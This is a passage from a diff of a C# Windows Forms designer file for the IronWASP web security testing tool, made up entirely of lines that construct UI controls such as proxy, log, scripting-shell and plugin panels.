System.Windows.Forms.ToolStripMenuItem(); + this.RunModulesOnRequestResponseToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.TestRequestView = new IronWASP.RequestView(); + this.panel4 = new System.Windows.Forms.Panel(); + this.TestAdvancedOptionsHelpLL = new System.Windows.Forms.LinkLabel(); + this.MTStoredRequestBtn = new System.Windows.Forms.Button(); + this.MTScriptedSendBtn = new System.Windows.Forms.Button(); + this.label41 = new System.Windows.Forms.Label(); + this.MTSendBtn = new System.Windows.Forms.Button(); + this.MTResponseSideTabs = new System.Windows.Forms.TabControl(); + this.MTResponseTab = new System.Windows.Forms.TabPage(); + this.MTMaximizeResponseViewBtn = new System.Windows.Forms.Button(); + this.TestUpdateCookieStoreLL = new System.Windows.Forms.LinkLabel(); + this.TestResponseView = new IronWASP.ResponseView(); + this.MTGetRedirectBtn = new System.Windows.Forms.Button(); + this.MTFollowRedirectBtn = new System.Windows.Forms.Button(); + this.MTGroupHistoryTab = new System.Windows.Forms.TabPage(); + this.TestGroupHistoryBaseSplit = new System.Windows.Forms.SplitContainer(); + this.label6 = new System.Windows.Forms.Label(); + this.TestGroupHistoryDoDiffBtn = new System.Windows.Forms.Button(); + this.TestGroupLogGrid = new System.Windows.Forms.DataGridView(); + this.TestGroupLogGridForSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.TestGroupLogGridForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestGroupLogGridForHost = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestGroupLogGridForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestGroupLogGridForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestGroupLogGridForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.TestGroupLogGridForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestGroupLogGridForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestGroupLogGridForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestGroupLogGridForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.MTHelp = new System.Windows.Forms.TabPage(); + this.MTHelpTB = new System.Windows.Forms.TextBox(); + this.mt_scripting = new System.Windows.Forms.TabPage(); + this.ScriptingShellSplit = new System.Windows.Forms.SplitContainer(); + this.panel3 = new System.Windows.Forms.Panel(); + this.textBox5 = new System.Windows.Forms.TextBox(); + this.ShowScriptCreationAssistantBtn = new System.Windows.Forms.Button(); + this.ClearShellDisplayBtn = new System.Windows.Forms.Button(); + this.MultiLineShellExecuteBtn = new System.Windows.Forms.Button(); + this.InteractiveShellCtrlCBtn = new System.Windows.Forms.Button(); + this.ScriptingShellTabs = new System.Windows.Forms.TabControl(); + this.InteractiveShellTP = new System.Windows.Forms.TabPage(); + this.ShellInPanel = new System.Windows.Forms.Panel(); + this.InteractiveShellPromptBox = new System.Windows.Forms.TextBox(); + this.InteractiveShellIn = new System.Windows.Forms.TextBox(); + this.InteractiveShellOut = new System.Windows.Forms.TextBox(); + this.MultiLineShellTP = new System.Windows.Forms.TabPage(); + this.MultiLineShellInTE = new ICSharpCode.TextEditor.TextEditorControl(); + this.ScriptedSendTP = new System.Windows.Forms.TabPage(); + this.ShowScriptedSendTemplateLL = new System.Windows.Forms.LinkLabel(); + this.CustomSendErrorTB = new System.Windows.Forms.TextBox(); + this.CustomSendTE = new ICSharpCode.TextEditor.TextEditorControl(); + this.CustomSendBottomRtb = new System.Windows.Forms.RichTextBox(); + this.CustomSendTopRtb = new System.Windows.Forms.RichTextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.CustomSendActivateCB = new System.Windows.Forms.CheckBox(); + this.CustomSendRubyRB = new System.Windows.Forms.RadioButton(); + this.CustomSendPythonRB = new System.Windows.Forms.RadioButton(); + this.ScriptingHelpTP = new System.Windows.Forms.TabPage(); + this.ScriptingHelpTB = new System.Windows.Forms.TextBox(); + this.InteractiveShellRubyRB = new System.Windows.Forms.RadioButton(); + this.label2 = new System.Windows.Forms.Label(); + this.InteractiveShellPythonRB = new System.Windows.Forms.RadioButton(); + this.ScriptingShellAPISplit = new System.Windows.Forms.SplitContainer(); + this.ScriptingShellAPITreeTabs = new System.Windows.Forms.TabControl(); + this.ScriptingShellAPITreePythonTab = new System.Windows.Forms.TabPage(); + this.ScriptingShellPythonAPITree = new System.Windows.Forms.TreeView(); + this.ScriptingShellAPITreeRubyTab = new System.Windows.Forms.TabPage(); + this.ScriptingShellRubyAPITree = new System.Windows.Forms.TreeView(); + this.ShellAPIDetailsRTB = new System.Windows.Forms.RichTextBox(); + this.mt_proxy = new System.Windows.Forms.TabPage(); + this.ProxyBaseSplit = new System.Windows.Forms.SplitContainer(); + this.ProxyOpenBrowserLL = new System.Windows.Forms.LinkLabel(); + this.ProxyLoopbackLbl = new System.Windows.Forms.Label(); + this.label33 = new System.Windows.Forms.Label(); + this.ProxyPortLbl = new System.Windows.Forms.Label(); + this.ViewProxyInterceptionConfigLink = new System.Windows.Forms.LinkLabel(); + this.label3 = new System.Windows.Forms.Label(); + this.ProxyExceptionTB = new System.Windows.Forms.TextBox(); + this.ConfigSetAsSystemProxyCB = new System.Windows.Forms.CheckBox(); + this.ProxyOptionsBtn = new System.Windows.Forms.Button(); + this.InterceptRequestCB = new System.Windows.Forms.CheckBox(); + this.ProxyDropBtn = new System.Windows.Forms.Button(); + this.InterceptResponseCB = new System.Windows.Forms.CheckBox(); + this.label7 = new System.Windows.Forms.Label(); + this.ViewProxyLogLink = new System.Windows.Forms.LinkLabel(); + this.ProxySendBtn = new System.Windows.Forms.Button(); + this.ProxyBottomPanel = new System.Windows.Forms.Panel(); + this.ProxyInterceptTabs = new System.Windows.Forms.TabControl(); + this.ProxyInterceptRequestTab = new System.Windows.Forms.TabPage(); + this.ProxyRequestView = new IronWASP.RequestView(); + this.ProxyInterceptResponseTab = new System.Windows.Forms.TabPage(); + this.ProxyResponseView = new IronWASP.ResponseView(); + this.ProxyScriptedInterceptTab = new System.Windows.Forms.TabPage(); + this.ScriptedInterceptionBaseSplit = new System.Windows.Forms.SplitContainer(); + this.panel5 = new System.Windows.Forms.Panel(); + this.textBox6 = new System.Windows.Forms.TextBox(); + this.ShowScriptedInterceptionTemplateLL = new System.Windows.Forms.LinkLabel(); + this.ScriptedInterceptionScriptTopRTB = new System.Windows.Forms.RichTextBox(); + this.ScriptedInterceptionActivateScriptCB = new System.Windows.Forms.CheckBox(); + this.ScriptedInterceptionPythonRB = new System.Windows.Forms.RadioButton(); + this.ScriptedInterceptionRubyRB = new System.Windows.Forms.RadioButton(); + this.label42 = new System.Windows.Forms.Label(); + this.ScriptedInterceptionBottomSplit = new System.Windows.Forms.SplitContainer(); + this.ScriptedInterceptionCTB = new IronWASP.CodeTextBox(); + this.ScriptedInterceptionScriptBottomRTB = new System.Windows.Forms.RichTextBox(); + this.ScriptedInterceptionErrorTB = new System.Windows.Forms.TextBox(); + this.ProxyHelpTab = new System.Windows.Forms.TabPage(); + this.ProxyHelpTB = new System.Windows.Forms.TextBox(); + this.mt_logs = new System.Windows.Forms.TabPage(); + this.LogBaseSplit = new System.Windows.Forms.SplitContainer(); + this.LogsTopSplit = new System.Windows.Forms.SplitContainer(); + this.ShowLogGridBtn = new System.Windows.Forms.Button(); + this.StartLogAnalyzerBtn = new System.Windows.Forms.Button(); + this.PreviousLogBtn = new System.Windows.Forms.Button(); + this.LogOptionsBtn = new System.Windows.Forms.Button(); + this.ProxyShowOriginalRequestCB = new System.Windows.Forms.CheckBox(); + this.LogIDLbl = new System.Windows.Forms.Label(); + this.ProxyShowOriginalResponseCB = new System.Windows.Forms.CheckBox(); + this.LogSourceLbl = new System.Windows.Forms.Label(); + this.NextLogBtn = new System.Windows.Forms.Button(); + this.LogStatusTB = new System.Windows.Forms.TextBox(); + this.LogDisplayTabs = new System.Windows.Forms.TabControl(); + this.tabPage7 = new System.Windows.Forms.TabPage(); + this.LogRequestView = new IronWASP.RequestView(); + this.tabPage29 = new System.Windows.Forms.TabPage(); + this.LogResponseView = new IronWASP.ResponseView(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.LogsHelpTB = new System.Windows.Forms.TextBox(); + this.LogsBottomSplit = new System.Windows.Forms.SplitContainer(); + this.label28 = new System.Windows.Forms.Label(); + this.ViewProxyDisplayFilterLink = new System.Windows.Forms.LinkLabel(); + this.MainLogStatusLbl = new System.Windows.Forms.Label(); + this.MainLogFrontThreeBtn = new System.Windows.Forms.Button(); + this.MainLogStatLbl = new System.Windows.Forms.Label(); + this.MainLogBackTwoBtn = new System.Windows.Forms.Button(); + this.MainLogFrontFourBtn = new System.Windows.Forms.Button(); + this.MainLogFrontOneBtn = new System.Windows.Forms.Button(); + this.MainLogBackOneBtn = new System.Windows.Forms.Button(); + this.MainLogBackThreeBtn = new System.Windows.Forms.Button(); + this.MainLogFrontTwoBtn = new System.Windows.Forms.Button(); + this.MainLogBackFourBtn = new System.Windows.Forms.Button(); + this.LogTabs = new System.Windows.Forms.TabControl(); + this.ProxyLogTab = new System.Windows.Forms.TabPage(); + this.ProxyLogGrid = new System.Windows.Forms.DataGridView(); + this.ProxyLogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProxyLogGridColumnForHostName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProxyLogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProxyLogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProxyLogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProxyLogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ProxyLogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProxyLogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProxyLogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProxyLogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProxyLogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ProxyLogGridColumnForEdited = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ProxyLogGridColumnForNotes = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanLogTab = new System.Windows.Forms.TabPage(); + this.ScanLogGrid = new System.Windows.Forms.DataGridView(); + this.ScanLogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanLogGridColumnForScanID = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanLogGridColumnForHost = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanLogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanLogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanLogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanLogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ScanLogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanLogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanLogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanLogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanLogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.TestLogTab = new System.Windows.Forms.TabPage(); + this.TestLogGrid = new System.Windows.Forms.DataGridView(); + this.MTLogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MTLogGridColumnForHostName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MTLogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MTLogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MTLogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MTLogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.MTLogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MTLogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MTLogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MTLogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MTLogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ShellLogTab = new System.Windows.Forms.TabPage(); + this.ShellLogGrid = new System.Windows.Forms.DataGridView(); + this.ScriptingLogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScriptingLogGridColumnForHostName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScriptingLogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScriptingLogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScriptingLogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScriptingLogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ScriptingLogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScriptingLogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScriptingLogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScriptingLogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScriptingLogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ProbeLogTab = new System.Windows.Forms.TabPage(); + this.ProbeLogGrid = new System.Windows.Forms.DataGridView(); + this.ProbeLogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProbeLogGridColumnForHostName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProbeLogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProbeLogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProbeLogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProbeLogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ProbeLogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProbeLogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProbeLogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProbeLogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ProbeLogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.OtherLogTab = new System.Windows.Forms.TabPage(); + this.OtherLogsTabBaseSplit = new System.Windows.Forms.SplitContainer(); + this.OtherLogSourceGrid = new System.Windows.Forms.DataGridView(); + this.LogSource = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OtherLogGrid = new System.Windows.Forms.DataGridView(); + this.LogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LogGridColumnForHostName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.LogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.SiteMapLogTab = new System.Windows.Forms.TabPage(); + this.SiteMapLogGrid = new System.Windows.Forms.DataGridView(); + this.SiteMapLogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SiteMapLogGridColumnForSource = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SiteMapLogGridColumnForHost = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SiteMapLogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SiteMapLogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SiteMapLogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SiteMapLogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.SiteMapLogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SiteMapLogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SiteMapLogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SiteMapLogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SiteMapLogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.mt_results = new System.Windows.Forms.TabPage(); + this.ResultsTabMainSplit = new System.Windows.Forms.SplitContainer(); + this.ResultsDisplayRTB = new System.Windows.Forms.RichTextBox(); + this.ResultsTriggersMainSplit = new System.Windows.Forms.SplitContainer(); + this.ResultsTriggersGrid = new System.Windows.Forms.DataGridView(); + this.ResultsTriggerGridNumberColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ResultsDisplayTabs = new System.Windows.Forms.TabControl(); + this.ResultsTriggerHighlightTab = new System.Windows.Forms.TabPage(); + this.TriggerHighlightRTB = new System.Windows.Forms.RichTextBox(); + this.ResultsRequestTab = new System.Windows.Forms.TabPage(); + this.ResultsRequestView = new IronWASP.RequestView(); + this.ResultsResponseTab = new System.Windows.Forms.TabPage(); + this.ResultsResponseView = new IronWASP.ResponseView(); + this.ResultsTriggerToolsTab = new System.Windows.Forms.TabPage(); + this.TrigggerAnalysisToolsSplit = new System.Windows.Forms.SplitContainer(); + this.ResultsScanTracePanel = new System.Windows.Forms.Panel(); + this.ResultsShowScanTraceBtn = new System.Windows.Forms.Button(); + this.ResultsTriggerOptionsPanel = new System.Windows.Forms.Panel(); + this.label5 = new System.Windows.Forms.Label(); + this.ResultsShowTriggersMenuLL = new System.Windows.Forms.LinkLabel(); + this.ResultsTriggersComparePanel = new System.Windows.Forms.Panel(); + this.DoDiffBtn = new System.Windows.Forms.Button(); + this.SelectForDiffTriggersGrid = new System.Windows.Forms.DataGridView(); + this.SelectClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.label32 = new System.Windows.Forms.Label(); + this.ResultsHelpTab = new System.Windows.Forms.TabPage(); + this.textBox7 = new System.Windows.Forms.TextBox(); + this.mt_js = new System.Windows.Forms.TabPage(); + this.JsTraceBaseSplit = new System.Windows.Forms.SplitContainer(); + this.JsTraceEnableCB = new System.Windows.Forms.CheckBox(); + this.JsTraceTabs = new System.Windows.Forms.TabControl(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.JsTraceResultsBaseSplit = new System.Windows.Forms.SplitContainer(); + this.JsTraceResultsTabs = new System.Windows.Forms.TabControl(); + this.JsTraceResultsObservationsTab = new System.Windows.Forms.TabPage(); + this.JsTraceResultsObservationsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.JSTRObservationDetailsClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.JsTraceResultsNativeMethodsTab = new System.Windows.Forms.TabPage(); + this.JsTraceResultsMethodCallsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn8 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn13 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn9 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn10 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn11 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.JSTRNativeMethodCallDetailsClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.JsTraceResultsDomChangesTab = new System.Windows.Forms.TabPage(); + this.JsTraceResultsDomChangesGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn14 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn23 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn24 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn25 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn33 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.JSTRDomChangesDetailsClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.JsTraceResultsAjaxCallsTab = new System.Windows.Forms.TabPage(); + this.JsTraceResultsAjaxCallsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn38 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn39 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn40 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn41 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn42 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column6 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.JSTRAjaxCallsDetailsClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.JsTraceResultsRTB = new System.Windows.Forms.RichTextBox(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.JsTraceReloadFilesLL = new System.Windows.Forms.LinkLabel(); + this.groupBox7 = new System.Windows.Forms.GroupBox(); + this.JsTraceMonitorXhrCB = new System.Windows.Forms.CheckBox(); + this.groupBox6 = new System.Windows.Forms.GroupBox(); + this.JsTraceMonitorInnerHtmlCB = new System.Windows.Forms.CheckBox(); + this.groupBox5 = new System.Windows.Forms.GroupBox(); + this.JsTraceMonitorFunctionMethodCB = new System.Windows.Forms.CheckBox(); + this.JsTraceMonitorSetTimeoutCB = new System.Windows.Forms.CheckBox(); + this.JsTraceMonitorEvalCB = new System.Windows.Forms.CheckBox(); + this.JsTraceMonitorSetIntervalCB = new System.Windows.Forms.CheckBox(); + this.JsTraceMonitorNonNativeMethodCB = new System.Windows.Forms.CheckBox(); + this.label35 = new System.Windows.Forms.Label(); + this.mt_dev = new System.Windows.Forms.TabPage(); + this.DevMainTabs = new System.Windows.Forms.TabControl(); + this.DevModulesAndPluginsTab = new System.Windows.Forms.TabPage(); + this.PluginsMainSplit = new System.Windows.Forms.SplitContainer(); + this.PluginAndModuleTree = new System.Windows.Forms.TreeView(); + this.PluginTreeMenu = new System.Windows.Forms.ContextMenuStrip(this.components); + this.SelectedPluginDeactivateToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.SelectedPluginReloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.SelectedModuleReloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.allPluginsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.AllPluginsRAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.AllPluginsANToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.passivePluginsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.PassivePluginsRAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.PassivePluginsANToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.activePluginsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ActivePluginsRAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ActivePluginsANToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.formatPluginsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.FormatPluginsRAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.FormatPluginsANToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.sessionPluginsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.SessionPluginsRAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.SessionPluginsANToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.PluginEditorSplit = new System.Windows.Forms.SplitContainer(); + this.PluginsCentreSplit = new System.Windows.Forms.SplitContainer(); + this.PluginDetailsRTB = new System.Windows.Forms.RichTextBox(); + this.PluginEditorInTE = new ICSharpCode.TextEditor.TextEditorControl(); + this.PluginEditorAPISplit = new System.Windows.Forms.SplitContainer(); + this.PluginEditorAPITreeTabs = new System.Windows.Forms.TabControl(); + this.PluginEditorPythonAPITreeTab = new System.Windows.Forms.TabPage(); + this.PluginEditorPythonAPITree = new System.Windows.Forms.TreeView(); + this.PluginEditorRubyAPITreeTab = new System.Windows.Forms.TabPage(); + this.PluginEditorRubyAPITree = new System.Windows.Forms.TreeView(); + this.PluginEditorAPIDetailsRTB = new System.Windows.Forms.RichTextBox(); + this.DevTraceTab = new System.Windows.Forms.TabPage(); + this.TraceMainTabs = new System.Windows.Forms.TabControl(); + this.SessionPluginTraceTab = new System.Windows.Forms.TabPage(); + this.SessionPluginTraceBaseSplit = new System.Windows.Forms.SplitContainer(); + this.SessionPluginTraceGrid = new System.Windows.Forms.DataGridView(); + this.SessionPluginTraceIdClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SessionPluginTraceLogIdClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SessionPluginTraceLogSourceClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SessionPluginTracePluginNameClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SessionPluginTraceActionClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SessionPluginTraceMessageClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SessionPluginTraceBottomTabs = new System.Windows.Forms.TabControl(); + this.SessionPluginTraceMessageTab = new System.Windows.Forms.TabPage(); + this.SessionPluginTraceMsgBaseSplit = new System.Windows.Forms.SplitContainer(); + this.SessionPluginTraceLoadLogBtn = new System.Windows.Forms.Button(); + this.textBox4 = new System.Windows.Forms.TextBox(); + this.SessionPluginTraceMsgRTB = new System.Windows.Forms.RichTextBox(); + this.SessionPluginTraceLogViewTab = new System.Windows.Forms.TabPage(); + this.SessionPluginTraceLoadLogProgressBar = new System.Windows.Forms.ProgressBar(); + this.SessionPluginTraceSessionTabs = new System.Windows.Forms.TabControl(); + this.tabPage12 = new System.Windows.Forms.TabPage(); + this.SessionPluginTraceRequestView = new IronWASP.RequestView(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.SessionPluginTraceResponseView = new IronWASP.ResponseView(); + this.DebugTraceTab = new System.Windows.Forms.TabPage(); + this.TraceBaseSplit = new System.Windows.Forms.SplitContainer(); + this.TraceGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn26 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn28 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn29 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn30 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn31 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TraceMsgRTB = new System.Windows.Forms.RichTextBox(); + this.DevHelpTab = new System.Windows.Forms.TabPage(); + this.DevHelpTB = new System.Windows.Forms.TextBox(); + this.JSTainTraceEditMenu = new System.Windows.Forms.ContextMenuStrip(this.components); + this.AddSourceTaintToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.AddSinkTaintToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.RemoveSourceTaintToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.RemoveSinkTaintToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.CopyLineTaintToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.MTRequestFormatPluginsMenu = new System.Windows.Forms.ContextMenuStrip(this.components); + this.MTRequestDeSerObjectToXmlMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.MTRequestSerXmlToObjectMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ProxyResponseFormatPluginsMenu = new 